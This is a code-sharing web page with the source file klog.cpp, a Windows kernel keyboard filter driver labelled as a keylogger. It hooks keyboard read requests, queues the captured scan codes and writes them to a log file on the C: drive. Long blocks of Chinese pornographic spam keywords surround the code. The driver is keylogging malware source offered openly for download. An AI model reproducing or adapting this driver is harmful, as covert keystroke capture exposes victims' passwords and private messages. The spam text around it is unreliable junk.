亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? klog.cpp

?? 鍵盤記錄過(guò)濾驅(qū)動(dòng)程序
?? CPP
字號(hào):

//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// Klog by Clandestiny
// Email: clandestiny@despammed.com
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

extern "C"
{
	#include "ntddk.h"
}

#include "ntddkbd.h"
#include "Klog.h"
#include "KbdHook.h"
#include "KbdLog.h"
#include "ScanCode.h"

int numPendingIrps = 0;

/////////////////////////////////////////////////////////////////////
//  DriverEntry
//
//	Routine Description:
//		This is the first entry point called by the system when the
//		driver is loaded.
// 
//	Parameters:
//	    DriverObject - pointer to the driver object
//		RegistryPath - String used to find driver parameters in the
//			registry.  To locate Klog look for:
//			HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Klog
//
//	Return Value:
//		NTSTATUS - Return STATUS_SUCCESS if no errors are encountered.
//			Any other indicates to the system that an error has occured.
//
//	Comments:
//		Must call InitializeCppRunTime() to setup the C++ runtime environment.
//

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT  pDriverObject, IN PUNICODE_STRING RegistryPath )
{	
	NTSTATUS Status = {0};
	
	DbgPrint("Keyboard Filter Driver - DriverEntry\nCompiled at " __TIME__ " on " __DATE__ "\n");
 		
	/////////////////////////////////////////////////////////////////////////////////////////
	// Fill in IRP dispatch table in the DriverObject to handle I/O Request Packets (IRPs) 
	/////////////////////////////////////////////////////////////////////////////////////////
	
	// For a filter driver, we want pass down ALL IRP_MJ_XX requests to the driver which
	// we are hooking except for those we are interested in modifying.
	for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
		pDriverObject->MajorFunction[i] = DispatchPassDown;
	DbgPrint("Filled dispatch table with generic pass down routine...\n");

	//Explicitly fill in the IRP's we want to hook
	pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
	
	//Go ahead and hook the keyboard now
	HookKeyboard(pDriverObject);
	DbgPrint("Hooked IRP_MJ_READ routine...\n");

	//Set up our worker thread to handle file writes of the scan codes extracted from the 
	//read IRPs
	InitThreadKeyLogger(pDriverObject);

	//Initialize the linked list that will serve as a queue to hold the captured keyboard scan codes
	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; 
	InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

	//Initialize the lock for the linked list queue
	KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

	//Initialize the work queue semaphore
	KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG);

	//Create the log file
	IO_STATUS_BLOCK file_status;
	OBJECT_ATTRIBUTES obj_attrib;
	CCHAR		 ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
    STRING		 ntNameString;
	UNICODE_STRING uFileName;
    RtlInitAnsiString( &ntNameString, ntNameFile);
    RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE );
	InitializeObjectAttributes(&obj_attrib, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
	Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status,
							NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
	RtlFreeUnicodeString(&uFileName);

	if (Status != STATUS_SUCCESS)
	{
		DbgPrint("Failed to create log file...\n");
		DbgPrint("File Status = %x\n",file_status);
	}
	else
	{
		DbgPrint("Successfully created log file...\n");
		DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
	}

	// Set the DriverUnload procedure
	pDriverObject->DriverUnload = Unload;
	DbgPrint("Set DriverUnload function pointer...\n");
	DbgPrint("Exiting Driver Entry......\n");
	return STATUS_SUCCESS;
}

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp )
{
	DbgPrint("Entering DispatchPassDown Routine...\n");
	//pass the irp down to the target without touching it
	IoSkipCurrentIrpStackLocation(pIrp);
	return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}//end DriverDispatcher


//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
	//Get the pointer to the device extension
	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; 
	DbgPrint("Driver Unload Called...\n");
	
	//Detach from the device underneath that we're hooked to
	IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
	DbgPrint("Keyboard hook detached from device...\n");

	///////////////////////////////////////////////////////////////
	//Wait for our tagged IRPs to die before we remove the device
	///////////////////////////////////////////////////////////////
	DbgPrint("There are %d tagged IRPs\n",numPendingIrps);
	DbgPrint("Waiting for tagged IRPs to die...\n");

	//Create a timer
	KTIMER kTimer;
	LARGE_INTEGER  timeout;
	timeout.QuadPart = 1000000; //.1 s
	KeInitializeTimer(&kTimer);
	
	while(numPendingIrps > 0)
	{
		//Set the timer
		KeSetTimer(&kTimer,timeout,NULL);
		KeWaitForSingleObject(&kTimer,Executive,KernelMode,false ,NULL);
	}
	
	//Set our key logger worker thread to terminate
	pKeyboardDeviceExtension ->bThreadTerminate = true;

	//Wake up the thread if its blocked & WaitForXXX after this call
	KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);

	//Wait till the worker thread terminates	
	DbgPrint("Waiting for key logger thread to terminate...\n");
	KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
			Executive,KernelMode,false,NULL);
	DbgPrint("Key logger thread termintated\n");

	//Close the log file
	ZwClose(pKeyboardDeviceExtension->hLogFile);

	//Delete the device
	IoDeleteDevice(pDriverObject->DeviceObject);
	DbgPrint("Tagged IRPs dead...Terminating...\n");

	return;
}

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩一区二区精品在线观看| 欧美丝袜丝nylons| 国产日韩精品视频一区| 欧美网站一区二区| 国产乱子伦一区二区三区国色天香| 日韩情涩欧美日韩视频| 99热精品一区二区| 婷婷中文字幕一区三区| 中文字幕免费不卡在线| 欧美日韩国产小视频在线观看| 精品一区二区三区在线观看国产 | 欧美色视频一区| 日韩av高清在线观看| 日本一区二区不卡视频| 欧美色综合网站| 国产麻豆91精品| 亚洲h动漫在线| 国产免费观看久久| 欧美一区二区视频观看视频| 琪琪一区二区三区| 亚洲香肠在线观看| 国产精品欧美综合在线| 5月丁香婷婷综合| 色噜噜狠狠成人网p站| 日本大胆欧美人术艺术动态 | 成人激情视频网站| 国产麻豆视频一区二区| 视频一区二区三区在线| 亚洲人成电影网站色mp4| 欧美精品一区男女天堂| 欧美日本在线播放| 国产成人午夜电影网| 国内外成人在线| 日韩国产精品久久| 亚洲成人精品影院| 亚洲精品一卡二卡| 亚洲欧洲另类国产综合| 精品久久久久久久久久久院品网| 欧美中文字幕不卡| zzijzzij亚洲日本少妇熟睡| 国产麻豆精品视频| 久久 天天综合| 免费的国产精品| 天天做天天摸天天爽国产一区| 亚洲欧美日韩国产手机在线| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 久久99久久久欧美国产| 亚欧色一区w666天堂| 婷婷久久综合九色国产成人| 午夜婷婷国产麻豆精品| 免费成人在线网站| 久久超碰97人人做人人爱| 激情深爱一区二区| 成人深夜视频在线观看| 99久久99久久精品免费观看| 在线观看成人小视频| 欧美日韩国产综合一区二区三区| 91精品国产91热久久久做人人 | 狠狠色伊人亚洲综合成人| 国产黄色精品视频| 色综合视频一区二区三区高清| 色婷婷久久久久swag精品 | 韩国v欧美v亚洲v日本v| 国产91富婆露脸刺激对白| 99在线精品免费| 欧美在线|欧美| 日韩精品一区二区三区视频| 欧美国产一区在线| 国产精品美女久久久久高潮| 亚洲免费大片在线观看| 日韩av一区二区在线影视| 狠狠狠色丁香婷婷综合激情| 成人成人成人在线视频| 欧美私人免费视频| 久久久av毛片精品| 亚洲激情在线播放| 国精产品一区一区三区mba桃花| 国产精品77777| 欧美色图激情小说| 久久蜜桃av一区精品变态类天堂 | 精品在线播放免费| 91女厕偷拍女厕偷拍高清| 欧美午夜精品久久久久久孕妇| 欧美videos大乳护士334| 国产精品三级av在线播放| 五月婷婷激情综合| 国产99久久久久| 在线综合视频播放| 最近中文字幕一区二区三区| 日韩激情一二三区| 91小宝寻花一区二区三区| 久久久久国产免费免费| 国产精品午夜电影| 免费在线观看视频一区| jizz一区二区| 久久久久久免费毛片精品| 亚洲电影在线播放| yourporn久久国产精品| 精品国产乱码久久久久久浪潮| 亚洲色图清纯唯美| 国产美女一区二区| 日韩一区二区中文字幕| 亚洲色图欧美偷拍| 国产成人av福利| 日韩欧美国产精品一区| 亚洲一区二区四区蜜桃| av激情亚洲男人天堂| 久久综合色天天久久综合图片| 亚洲国产综合色| av动漫一区二区| 欧美国产一区在线| 国产福利不卡视频| 精品久久人人做人人爽| 日韩精品欧美精品| 欧美日本一区二区在线观看| 亚洲人成精品久久久久久| 国产91精品一区二区| 久久九九久精品国产免费直播| 日韩精品一卡二卡三卡四卡无卡| 91福利精品第一导航| 精品国产一区久久| 理论电影国产精品| 欧美一区二区私人影院日本| 亚洲一区视频在线| 欧美日韩国产综合一区二区| 一区二区三区四区不卡在线 | 欧美日韩国产综合久久| 亚洲一区在线视频| 欧美中文字幕久久| 亚洲小说欧美激情另类| 欧美亚洲尤物久久| 亚洲一二三区在线观看| 91久久线看在观草草青青| 最新不卡av在线| 91成人免费网站| 一区二区三区丝袜| 欧美色视频在线观看| 亚洲成a人v欧美综合天堂下载| 欧美色偷偷大香| 青青青爽久久午夜综合久久午夜| 欧美男男青年gay1069videost| 亚洲va国产va欧美va观看| 欧美男人的天堂一二区| 蜜芽一区二区三区| 久久婷婷久久一区二区三区| 国产一区二区精品久久91| 国产欧美日韩在线| 一本到一区二区三区| 亚洲精品国产高清久久伦理二区| 在线亚洲免费视频| 亚洲18女电影在线观看| 日韩欧美不卡一区| 国产91精品一区二区| 亚洲欧洲成人av每日更新| 色婷婷精品大在线视频| 午夜精品久久久久久久99樱桃| 91精品蜜臀在线一区尤物| 精品一区二区三区视频| 国产精品卡一卡二| 在线一区二区观看| 午夜精品一区二区三区电影天堂| 欧美大胆一级视频| 岛国一区二区三区| 视频一区二区三区入口| 久久久欧美精品sm网站| 波多野结衣精品在线| 午夜私人影院久久久久| 欧美mv日韩mv国产| www.欧美日韩| 日本免费新一区视频| 中文字幕欧美区| 欧美特级限制片免费在线观看| 麻豆freexxxx性91精品| 中文字幕日本不卡| 欧美一级一级性生活免费录像| 黄色成人免费在线| 亚洲女爱视频在线| 欧美精品一区二区三区视频| 丁香另类激情小说| 日韩av电影免费观看高清完整版| 久久精品视频一区二区| 欧美亚洲免费在线一区| 久久精品国产免费看久久精品| 亚洲欧美日韩人成在线播放| 欧美一区二区久久| 91欧美一区二区| 国产原创一区二区三区| 亚洲久本草在线中文字幕| 亚洲精品一区二区三区在线观看| 91尤物视频在线观看| 久久精品国产秦先生| 亚洲自拍都市欧美小说| 国产欧美一二三区| 欧美日韩国产乱码电影| 99精品欧美一区二区蜜桃免费| 奇米影视一区二区三区| 一区二区三区在线免费播放| 久久众筹精品私拍模特| 91精品视频网| 欧美中文字幕亚洲一区二区va在线|